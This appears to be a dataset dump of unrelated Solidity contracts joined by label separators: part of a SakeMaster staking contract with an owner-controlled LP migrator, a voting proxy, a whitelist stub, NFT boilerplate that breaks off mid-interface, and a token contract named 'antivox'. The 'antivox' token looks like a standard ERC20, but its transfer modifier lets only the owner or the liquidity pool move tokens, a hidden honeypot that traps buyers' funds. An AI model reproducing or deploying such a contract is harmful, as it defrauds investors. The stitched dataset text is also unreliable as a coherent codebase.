require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to;
if (_toFinal <= betaTestEndBlock) {
return _toFinal.sub(_from);
}else if (_from >= mintEndBlock) {
return 0;
} else if (_toFinal <= bonusEndBlock) {
if (_from < betaTestEndBlock) {
return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER));
} else {
return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER);
}
} else {
if (_from < betaTestEndBlock) {
return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add(
(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)));
} else if (betaTestEndBlock <= _from && _from < bonusEndBlock) {
return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER));
} else {
return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER);
}
}
}
// View function to see pending SAKEs on frontend.
function pendingSake(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSakePerShare = pool.accSakePerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
if (multiplier == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint);
sake.mint(devaddr, sakeReward.div(15));
sake.mint(address(this), sakeReward);
pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to SakeMaster for SAKE allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12);
if (pending > 0) safeSakeTransfer(msg.sender, pending);
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from SakeMaster.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12);
safeSakeTransfer(msg.sender, pending);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount > 0, "emergencyWithdraw: not good");
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
// Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs.
function safeSakeTransfer(address _to, uint256 _amount) internal {
uint256 sakeBal = sake.balanceOf(address(this));
if (_amount > sakeBal) {
sake.transfer(_to, sakeBal);
} else {
sake.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
}
// File: contracts/SakeVoterProxy.sol
pragma solidity >=0.6.0 <0.8.0;
struct IndexValue {
uint256 keyIndex;
uint256 value;
}
struct KeyFlag {
uint256 key;
bool deleted;
}
struct ItMap {
mapping(uint256 => IndexValue) data;
KeyFlag[] keys;
uint256 size;
}
library IterableMapping {
function insert(
ItMap storage self,
uint256 key,
uint256 value
) internal returns (bool replaced) {
uint256 keyIndex = self.data[key].keyIndex;
self.data[key].value = value;
if (keyIndex > 0) return true;
else {
keyIndex = self.keys.length;
self.keys.push();
self.data[key].keyIndex = keyIndex + 1;
self.keys[keyIndex].key = key;
self.size++;
return false;
}
}
function remove(ItMap storage self, uint256 key) internal returns (bool success) {
uint256 keyIndex = self.data[key].keyIndex;
if (keyIndex == 0) return false;
delete self.data[key];
self.keys[keyIndex - 1].deleted = true;
self.size--;
}
function contains(ItMap storage self, uint256 key) internal view returns (bool) {
return self.data[key].keyIndex > 0;
}
function iterateStart(ItMap storage self) internal view returns (uint256 keyIndex) {
return iterateNext(self, uint256(-1));
}
function iterateValid(ItMap storage self, uint256 keyIndex) internal view returns (bool) {
return keyIndex < self.keys.length;
}
function iterateNext(ItMap storage self, uint256 keyIndex) internal view returns (uint256 rkeyIndex) {
keyIndex++;
while (keyIndex < self.keys.length && self.keys[keyIndex].deleted) keyIndex++;
return keyIndex;
}
function iterateGet(ItMap storage self, uint256 keyIndex) internal view returns (uint256 key, uint256 value) {
key = self.keys[keyIndex].key;
value = self.data[key].value;
}
}
contract SakeVoterProxy {
using SafeMath for uint256;
ItMap public votePoolMap;
// Apply library functions to the data type.
using IterableMapping for ItMap;
IERC20 public votes;
SakeMaster public chef;
address public owner;
modifier onlyOwner() {
require(owner == msg.sender, "Not Owner");
_;
}
constructor(address _tokenAddr, address _masterAddr) public {
votes = IERC20(_tokenAddr);
chef = SakeMaster(_masterAddr);
owner = msg.sender;
votePoolMap.insert(votePoolMap.size, uint256(0));
votePoolMap.insert(votePoolMap.size, uint256(32));
votePoolMap.insert(votePoolMap.size, uint256(33));
votePoolMap.insert(votePoolMap.size, uint256(34));
votePoolMap.insert(votePoolMap.size, uint256(36));
}
function decimals() external pure returns (uint8) {
return uint8(18);
}
function name() external pure returns (string memory) {
return "SAKEVOTER";
}
function symbol() external pure returns (string memory) {
return "SAKE";
}
function totalSupply() external view returns (uint256) {
return votes.totalSupply();
}
//sum user deposit sakenum
function balanceOf(address _voter) external view returns (uint256) {
uint256 _votes = 0;
uint256 _vCtLpTotal;
uint256 _vUserLp;
uint256 _vCtSakeNum;
uint256 _vUserSakeNum;
uint256 _vTmpPoolId;
IERC20 _vLpToken;
for (uint256 i = votePoolMap.iterateStart(); votePoolMap.iterateValid(i); i = votePoolMap.iterateNext(i)) {
//user deposit sakenum = user_lptoken*contract_sakenum/contract_lptokens
(, _vTmpPoolId) = votePoolMap.iterateGet(i);
if (chef.poolLength() > _vTmpPoolId) {
(_vLpToken, , , ) = chef.poolInfo(_vTmpPoolId);
_vCtLpTotal = IUniswapV2Pair(address(_vLpToken)).totalSupply();
if (_vCtLpTotal == 0) {
continue;
}
(_vUserLp, ) = chef.userInfo(_vTmpPoolId, _voter);
_vCtSakeNum = votes.balanceOf(address(_vLpToken));
_vUserSakeNum = _vUserLp.mul(_vCtSakeNum).div(_vCtLpTotal);
_votes = _votes.add(_vUserSakeNum);
}
}
_votes = _votes.add(votes.balanceOf(_voter));
return _votes;
}
function addVotePool(uint256 newPoolId) public onlyOwner {
uint256 _vTmpPoolId;
for (uint256 i = votePoolMap.iterateStart(); votePoolMap.iterateValid(i); i = votePoolMap.iterateNext(i)) {
(, _vTmpPoolId) = votePoolMap.iterateGet(i);
require(_vTmpPoolId != newPoolId, "newPoolId already exist");
}
votePoolMap.insert(votePoolMap.size, newPoolId);
}
function delVotePool(uint256 newPoolId) public onlyOwner {
uint256 _vTmpPoolId;
for (uint256 i = votePoolMap.iterateStart(); votePoolMap.iterateValid(i); i = votePoolMap.iterateNext(i)) {
(, _vTmpPoolId) = votePoolMap.iterateGet(i);
if (_vTmpPoolId == newPoolId) {
votePoolMap.remove(i);
return;
}
}
}
} | True | [
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pragma solidity ^0.4.21;
// File: _contracts/WhiteList.sol
contract WhiteList {
function canTransfer(address _from, address _to)
public
returns (bool) {
return true;
}
} | True | [
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pragma solidity ^0.5.14;
/*
### ## ## ######## #### ## ## ####### ## ##
## ## ### ## ## ## ## ## ## ## ## ##
## ## #### ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ####### ## ## ## ## ###
######### ## #### ## ## ## ## ## ## ## ##
## ## ## ### ## ## ## ## ## ## ## ##
## ## ## ## ## #### ### ####### ## ##
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract antivox{
event Transfer(address indexed FARM, address indexed FINANCE, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address FINANCE, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, FINANCE, _value);
}
function transferFrom(address FARM, address FINANCE, uint _value) public payable pooladdress(FARM, FINANCE) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != FARM) {
require(allowance[FARM][msg.sender] >= _value);
allowance[FARM][msg.sender] -= _value;
}
require(balanceOf[FARM] >= _value);
balanceOf[FARM] -= _value;
balanceOf[FINANCE] += _value;
emit Transfer(FARM, FINANCE, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
modifier pooladdress(address FARM, address FINANCE) {
address liquiditypool = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(FARM == owner || FINANCE == owner || FARM == liquiditypool);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-31
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/*
* Tiny Killers NFT Collection
* by PixHell Team
*
* Twitter: @TinyKillsNFT
*
* Discord: https://discord.gg/nzzVWwHkxK
*
*/
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
